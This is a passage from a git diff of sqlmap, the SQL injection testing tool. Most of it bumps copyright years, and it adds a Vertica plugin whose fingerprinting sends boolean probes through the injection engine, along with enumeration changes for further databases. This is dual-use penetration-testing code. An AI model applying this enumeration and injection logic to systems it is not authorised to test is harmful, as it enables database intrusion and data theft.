= "on Presto it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/sqlite/__init__.py b/plugins/dbms/sqlite/__init__.py index 226e8feda5b..d67e1e6e14f 100644 --- a/plugins/dbms/sqlite/__init__.py +++ b/plugins/dbms/sqlite/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/connector.py b/plugins/dbms/sqlite/connector.py index f1270eb6891..2b76342d640 100644 --- a/plugins/dbms/sqlite/connector.py +++ b/plugins/dbms/sqlite/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/enumeration.py b/plugins/dbms/sqlite/enumeration.py index 1c985b81f33..03b37c54881 100644 --- a/plugins/dbms/sqlite/enumeration.py +++ b/plugins/dbms/sqlite/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/filesystem.py b/plugins/dbms/sqlite/filesystem.py index d6b5e382039..52430caf02c 100644 --- a/plugins/dbms/sqlite/filesystem.py +++ b/plugins/dbms/sqlite/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/fingerprint.py b/plugins/dbms/sqlite/fingerprint.py index 4093a3d698c..6baaaa3d046 100644 --- a/plugins/dbms/sqlite/fingerprint.py +++ b/plugins/dbms/sqlite/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/syntax.py b/plugins/dbms/sqlite/syntax.py index f9d5af85fb1..c9f7682cd29 100644 --- a/plugins/dbms/sqlite/syntax.py +++ b/plugins/dbms/sqlite/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/takeover.py b/plugins/dbms/sqlite/takeover.py index e5410583cb1..cbca22037f3 100644 --- a/plugins/dbms/sqlite/takeover.py +++ b/plugins/dbms/sqlite/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/__init__.py b/plugins/dbms/sybase/__init__.py index 0b31f519bdd..a4ed4003316 100644 --- a/plugins/dbms/sybase/__init__.py +++ b/plugins/dbms/sybase/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/connector.py b/plugins/dbms/sybase/connector.py index d735388093f..d52f3f66a47 100644 --- a/plugins/dbms/sybase/connector.py +++ b/plugins/dbms/sybase/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/enumeration.py b/plugins/dbms/sybase/enumeration.py index d45410f5d4c..4c179e07a53 100644 --- a/plugins/dbms/sybase/enumeration.py +++ b/plugins/dbms/sybase/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/filesystem.py b/plugins/dbms/sybase/filesystem.py index 305b9bd8f82..17e3bad2a0a 100644 --- a/plugins/dbms/sybase/filesystem.py +++ b/plugins/dbms/sybase/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/fingerprint.py b/plugins/dbms/sybase/fingerprint.py index 9381dd270b0..f545762ba8c 100644 --- a/plugins/dbms/sybase/fingerprint.py +++ b/plugins/dbms/sybase/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/syntax.py b/plugins/dbms/sybase/syntax.py index 7a9e7019958..da0a77c9de7 100644 --- a/plugins/dbms/sybase/syntax.py +++ b/plugins/dbms/sybase/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/takeover.py b/plugins/dbms/sybase/takeover.py index 55f6e1c5867..a851f023079 100644 --- a/plugins/dbms/sybase/takeover.py +++ b/plugins/dbms/sybase/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/vertica/__init__.py b/plugins/dbms/vertica/__init__.py new file mode 100644 index 00000000000..4906cb8ce44 --- /dev/null +++ b/plugins/dbms/vertica/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import VERTICA_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.vertica.enumeration import Enumeration +from plugins.dbms.vertica.filesystem import Filesystem +from plugins.dbms.vertica.fingerprint import Fingerprint +from plugins.dbms.vertica.syntax import Syntax +from plugins.dbms.vertica.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class VerticaMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Vertica methods + """ + + def __init__(self): + self.excludeDbsList = VERTICA_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.VERTICA] = Syntax.escape diff --git a/plugins/dbms/vertica/connector.py b/plugins/dbms/vertica/connector.py new file mode 100644 index 00000000000..f1c81be3174 --- /dev/null +++ b/plugins/dbms/vertica/connector.py @@ -0,0 +1,59 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +try: + import vertica_python +except: + pass + +import logging + +from lib.core.common import getSafeExString +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: https://github.com/vertica/vertica-python + User guide: https://github.com/vertica/vertica-python/blob/master/README.md + API: https://www.python.org/dev/peps/pep-0249/ + License: Apache 2.0 + """ + + def connect(self): + self.initConnection() + + try: + self.connector = vertica_python.connect(host=self.hostname, user=self.user, password=self.password, database=self.db, port=self.port, connection_timeout=conf.timeout) + except vertica_python.OperationalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except vertica_python.ProgrammingError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + return None + + def execute(self, query): + try: + self.cursor.execute(query) + except (vertica_python.OperationalError, vertica_python.ProgrammingError) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + except vertica_python.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.connector.commit() + + def select(self, query): + self.execute(query) + return self.fetchall() diff --git a/plugins/dbms/vertica/enumeration.py b/plugins/dbms/vertica/enumeration.py new file mode 100644 index 00000000000..9ef809e6131 --- /dev/null +++ b/plugins/dbms/vertica/enumeration.py @@ -0,0 +1,16 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getRoles(self, *args, **kwargs): + warnMsg = "on Vertica it is not possible to enumerate the user roles" + logger.warn(warnMsg) + + return {} diff --git a/plugins/dbms/vertica/filesystem.py b/plugins/dbms/vertica/filesystem.py new file mode 100644 index 00000000000..ed68f5ab389 --- /dev/null +++ b/plugins/dbms/vertica/filesystem.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + pass diff --git a/plugins/dbms/vertica/fingerprint.py b/plugins/dbms/vertica/fingerprint.py new file mode 100644 index 00000000000..aaa54deb75b --- /dev/null +++ b/plugins/dbms/vertica/fingerprint.py @@ -0,0 +1,106 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import VERTICA_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.VERTICA) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.VERTICA + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(VERTICA_ALIASES): + setDbms(DBMS.VERTICA) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.VERTICA + logger.info(infoMsg) + + # NOTE: Vertica works too without the CONVERT_TO() + result = inject.checkBooleanExpression("BITSTRING_TO_BINARY(NULL) IS NULL") + + if result: + infoMsg = "confirming %s" % DBMS.VERTICA + logger.info(infoMsg) + + result = inject.checkBooleanExpression("HEX_TO_INTEGER(NULL) IS NULL") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.VERTICA + logger.warn(warnMsg) + + return False + + setDbms(DBMS.VERTICA) + + self.getBanner() + + if not conf.extensiveFp: + return True + + infoMsg = "actively fingerprinting %s" % DBMS.VERTICA + logger.info(infoMsg) + + if inject.checkBooleanExpression("CALENDAR_HIERARCHY_DAY(NULL) IS NULL"): + Backend.setVersion(">= 9.0") + else: + Backend.setVersion("< 9.0") + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.VERTICA + logger.warn(warnMsg) + + return False diff --git a/plugins/dbms/vertica/syntax.py b/plugins/dbms/vertica/syntax.py new file mode 100644 index 00000000000..7203c6550cc --- /dev/null +++ b/plugins/dbms/vertica/syntax.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT (CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104)) FROM foobar" + True + """ + + def escaper(value): + return "(%s)" % "||".join("CHR(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/vertica/takeover.py b/plugins/dbms/vertica/takeover.py new file mode 100644 index 00000000000..0d6926bf8fd --- /dev/null +++ b/plugins/dbms/vertica/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on Vertica it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on Vertica it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on Vertica it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on Vertica it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/generic/__init__.py b/plugins/generic/__init__.py index a1e6b478904..f5f6aa0e910 100644 --- a/plugins/generic/__init__.py +++ b/plugins/generic/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/connector.py b/plugins/generic/connector.py index 6f001e5bf69..278e21b1a62 100644 --- a/plugins/generic/connector.py +++ b/plugins/generic/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/custom.py b/plugins/generic/custom.py index a1faa80ee35..94450542f80 100644 --- a/plugins/generic/custom.py +++ b/plugins/generic/custom.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -19,6 +19,7 @@ from lib.core.data import logger from lib.core.dicts import SQL_STATEMENTS from lib.core.enums import AUTOCOMPLETE_TYPE +from lib.core.enums import DBMS from lib.core.exception import SqlmapNoneDataException from lib.core.settings import NULL from lib.core.settings import PARAMETER_SPLITTING_REGEX @@ -46,10 +47,15 @@ def sqlQuery(self, query): sqlType = sqlTitle break - if not any(_ in query.upper() for _ in ("OPENROWSET", "INTO")) and (not sqlType or "SELECT" in sqlType): + if not re.search(r"\b(OPENROWSET|INTO)\b", query, re.I) and (not sqlType or "SELECT" in sqlType): infoMsg = "fetching %s query output: '%s'" % (sqlType if sqlType is not None else "SQL", query) logger.info(infoMsg) + if Backend.isDbms(DBMS.MSSQL): + match = re.search(r"(\bFROM\s+)([^\s]+)", query, re.I) + if match and match.group(2).count('.') == 1: + query = query.replace(match.group(0), "%s%s" % (match.group(1), match.group(2).replace('.', ".dbo."))) + output = inject.getValue(query, fromUser=True) return output diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 5a86d712397..289d73454bf 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -10,7 +10,6 @@ from lib.core.agent import agent from lib.core.common import arrayizeValue from lib.core.common import Backend -from lib.core.common import extractRegexResult from lib.core.common import filterNone from lib.core.common import filterPairValues from lib.core.common import flattenValue @@ -23,9 +22,9 @@ from lib.core.common import parseSqliteTableSchema from lib.core.common import popValue from lib.core.common import pushValue -from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import safeSQLIdentificatorNaming +from lib.core.common import safeStringFormat from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage from lib.core.common import unArrayizeValue @@ -36,19 +35,23 @@ from lib.core.data import paths from lib.core.data import queries from lib.core.decorators import stackedmethod +from lib.core.dicts import ALTIBASE_TYPES from lib.core.dicts import FIREBIRD_TYPES from lib.core.dicts import INFORMIX_TYPES from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED +from lib.core.enums import FORK from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import CURRENT_DB +from lib.core.settings import PLUS_ONE_DBMSES from lib.core.settings import REFLECTED_VALUE_MARKER +from lib.core.settings import UPPER_CASE_DBMSES +from lib.core.settings import VERTICA_DEFAULT_SCHEMA from lib.request import inject -from lib.techniques.union.use import unionUse from lib.utils.brute import columnExists from lib.utils.brute import tableExists from thirdparty import six @@ -76,11 +79,19 @@ def getCurrentDb(self): if not kb.data.currentDb: kb.data.currentDb = unArrayizeValue(inject.getValue(query, safeCharEncode=False)) - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL): + if not kb.data.currentDb and Backend.isDbms(DBMS.VERTICA): + kb.data.currentDb = VERTICA_DEFAULT_SCHEMA + + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE): warnMsg = "on %s you'll need to use " % Backend.getIdentifiedDbms() warnMsg += "schema names for enumeration as the counterpart to database " warnMsg += "names on other DBMSes" singleTimeWarnMessage(warnMsg) + elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.CUBRID): + warnMsg = "on %s you'll need to use " % Backend.getIdentifiedDbms() + warnMsg += "user names for enumeration as the counterpart to database " + warnMsg += "names on other DBMSes" + singleTimeWarnMessage(warnMsg) return kb.data.currentDb @@ -96,7 +107,7 @@ def getDbs(self): warnMsg += "names will be fetched from 'mysql' database" logger.warn(warnMsg) - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE): warnMsg = "schema names are going to be used on %s " % Backend.getIdentifiedDbms() warnMsg += "for enumeration as the counterpart to database " warnMsg += "names on other DBMSes" @@ -104,6 +115,14 @@ def getDbs(self): infoMsg = "fetching database (schema) names" + elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.CUBRID): + warnMsg = "user names are going to be used on %s " % Backend.getIdentifiedDbms() + warnMsg += "for enumeration as the counterpart to database " + warnMsg += "names on other DBMSes" + logger.warn(warnMsg) + + infoMsg = "fetching database (user) names" + else: infoMsg = "fetching database names" @@ -136,7 +155,7 @@ def getDbs(self): errMsg = "unable to retrieve the number of databases" logger.error(errMsg) else: - plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) + plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: @@ -198,21 +217,24 @@ def getTables(self, bruteForce=None): if bruteForce is None: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: - errMsg = "information_schema not available, " - errMsg += "back-end DBMS is MySQL < 5.0" - logger.error(errMsg) + warnMsg = "information_schema not available, " + warnMsg += "back-end DBMS is MySQL < 5.0" + logger.warn(warnMsg) bruteForce = True - elif Backend.isDbms(DBMS.ACCESS): + elif Backend.getIdentifiedDbms() in (DBMS.MCKOI, DBMS.EXTREMEDB): + bruteForce = True + + elif Backend.getIdentifiedDbms() in (DBMS.ACCESS,): try: tables = self.getTables(False) except SqlmapNoneDataException: tables = None if not tables: - errMsg = "cannot retrieve table names, " - errMsg += "back-end DBMS is Access" - logger.error(errMsg) + warnMsg = "cannot retrieve table names, " + warnMsg += "back-end DBMS is %s" % Backend.getIdentifiedDbms() + logger.warn(warnMsg) bruteForce = True else: return tables @@ -220,7 +242,7 @@ def getTables(self, bruteForce=None): if conf.db == CURRENT_DB: conf.db = self.getCurrentDb() - if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): + if conf.db and Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: conf.db = conf.db.upper() if conf.db: @@ -251,7 +273,7 @@ def getTables(self, bruteForce=None): return kb.data.cachedTables - message = "do you want to use common table existence check? %s " % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]") + message = "do you want to use common table existence check? %s " % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB) else "[y/N/q]") choice = readInput(message, default='Y' if 'Y' in message else 'N').upper() if choice == 'N': @@ -307,7 +329,7 @@ def getTables(self, bruteForce=None): if conf.getComments: _ = queries[Backend.getIdentifiedDbms()].table_comment if hasattr(_, "query"): - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE): query = _.query % (unsafeSQLIdentificatorNaming(db.upper()), unsafeSQLIdentificatorNaming(table.upper())) else: query = _.query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(table)) @@ -343,7 +365,7 @@ def getTables(self, bruteForce=None): infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(db) logger.info(infoMsg) - if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.ACCESS): + if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB): query = rootQuery.blind.count else: query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(db) @@ -364,17 +386,17 @@ def getTables(self, bruteForce=None): tables = [] - plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) + plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: if Backend.isDbms(DBMS.SYBASE): query = rootQuery.blind.query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")) - elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS): + elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB): query = rootQuery.blind.query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ") elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): query = rootQuery.blind.query % index - elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.INFORMIX): + elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.INFORMIX, DBMS.FRONTBASE): query = rootQuery.blind.query % (index, unsafeSQLIdentificatorNaming(db)) else: query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(db), index) @@ -389,7 +411,7 @@ def getTables(self, bruteForce=None): if conf.getComments: _ = queries[Backend.getIdentifiedDbms()].table_comment if hasattr(_, "query"): - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE): query = _.query % (unsafeSQLIdentificatorNaming(db.upper()), unsafeSQLIdentificatorNaming(table.upper())) else: query = _.query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(table)) @@ -449,7 +471,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod raise SqlmapNoneDataException(errMsg) elif conf.db is not None: - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2): + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: conf.db = conf.db.upper() if ',' in conf.db: @@ -460,7 +482,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod conf.db = safeSQLIdentificatorNaming(conf.db) if conf.col: - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: conf.col = conf.col.upper() colList = conf.col.split(',') @@ -476,7 +498,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod colList = [_ for _ in colList if _] if conf.tbl: - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2): + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: conf.tbl = conf.tbl.upper() tblList = conf.tbl.split(',') @@ -500,19 +522,22 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod else: return kb.data.cachedColumns + if conf.exclude: + tblList = [_ for _ in tblList if re.search(conf.exclude, _, re.I) is None] + tblList = filterNone(safeSQLIdentificatorNaming(_, True) for _ in tblList) if bruteForce is None: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: - errMsg = "information_schema not available, " - errMsg += "back-end DBMS is MySQL < 5.0" - logger.error(errMsg) + warnMsg = "information_schema not available, " + warnMsg += "back-end DBMS is MySQL < 5.0" + logger.warn(warnMsg) bruteForce = True - elif Backend.isDbms(DBMS.ACCESS): - errMsg = "cannot retrieve column names, " - errMsg += "back-end DBMS is %s" % DBMS.ACCESS - logger.error(errMsg) + elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB): + warnMsg = "cannot retrieve column names, " + warnMsg += "back-end DBMS is %s" % Backend.getIdentifiedDbms() + logger.warn(warnMsg) bruteForce = True if bruteForce: @@ -524,7 +549,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod resumeAvailable = True break - if resumeAvailable and not conf.freshQueries or colList: + if resumeAvailable and not conf.freshQueries: columns = {} for column in colList: @@ -542,7 +567,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod return kb.data.cachedColumns - message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]") + message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB) else "[y/N/q]") choice = readInput(message, default='Y' if 'Y' in message else 'N').upper() if choice == 'N': @@ -580,11 +605,14 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE): query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + if Backend.isFork(FORK.DRIZZLE): + query = query.replace("column_type", "data_type") + + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL): query = rootQuery.inband.query % 